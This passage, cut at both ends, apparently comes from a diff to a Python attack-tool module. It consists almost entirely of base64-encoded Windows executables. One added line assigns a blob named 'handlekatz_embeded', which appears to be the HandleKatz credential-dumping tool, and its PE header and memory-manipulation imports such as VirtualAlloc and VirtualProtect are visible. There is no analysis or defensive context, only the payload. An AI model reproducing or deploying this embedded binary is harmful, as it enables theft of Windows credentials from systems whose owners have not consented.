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2FsU2VjdGlvbgAADARNdWx0aUJ5dGVUb1dpZGVDaGFyAHIFU2V0VW5oYW5kbGVkRXhjZXB0aW9uRmlsdGVyAIIFU2xlZXAApQVUbHNHZXRWYWx1ZQDOBVZpcnR1YWxBbGxvYwAA1AVWaXJ0dWFsUHJvdGVjdAAA1gVWaXJ0dWFsUXVlcnkAAAsGV2lkZUNoYXJUb011bHRpQnl0ZQBLBmxzdHJsZW5BAAA4AF9fQ19zcGVjaWZpY19oYW5kbGVyAABAAF9fX2xjX2NvZGVwYWdlX2Z1bmMAQwBfX19tYl9jdXJfbWF4X2Z1bmMAAFIAX19nZXRtYWluYXJncwBTAF9faW5pdGVudgBUAF9faW9iX2Z1bmMAAFsAX19sY29udl9pbml0AABhAF9fc2V0X2FwcF90eXBlAABjAF9fc2V0dXNlcm1hdGhlcnIAAHIAX2FjbWRsbgB5AF9hbXNnX2V4aXQAAIsAX2NleGl0AACXAF9jb21tb2RlAAC+AF9lcnJubwAA3ABfZm1vZGUAAB0BX2luaXR0ZXJtAIMBX2xvY2sAKQJfb25leGl0AMoCX3VubG9jawCKA2Fib3J0AJcDYXRvaQAAmwNjYWxsb2MAAKgDZXhpdAAAvANmcHJpbnRmAL4DZnB1dGMAwwNmcmVlAADQA2Z3cml0ZQAA+QNsb2NhbGVjb252AAD/A21hbGxvYwAABwRtZW1jcHkAAAkEbWVtc2V0AAAnBHNpZ25hbAAANgRzdHJjaHIAADwEc3RyZXJyb3IAAD4Ec3RybGVuAABBBHN0cm5jbXAARwRzdHJzdHIAAGMEdmZwcmludGYAAH0Ed2NzbGVuAAAAIAEAQ1JZUFQzMi5kbGwAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABABQgAQAUIAEAFCABAEtFUk5FTDMyLmRsbAAAAAAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQAoIAEAKCABACggAQBtc3ZjcnQuZGxsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEARQAAAAAAAAAAAAAAAAAAAAAAAAAAAABAQQAAAAAAAkBlAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4BlAAAAAAACwGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") + self.handlekatz_embeded = base64.b64decode( + "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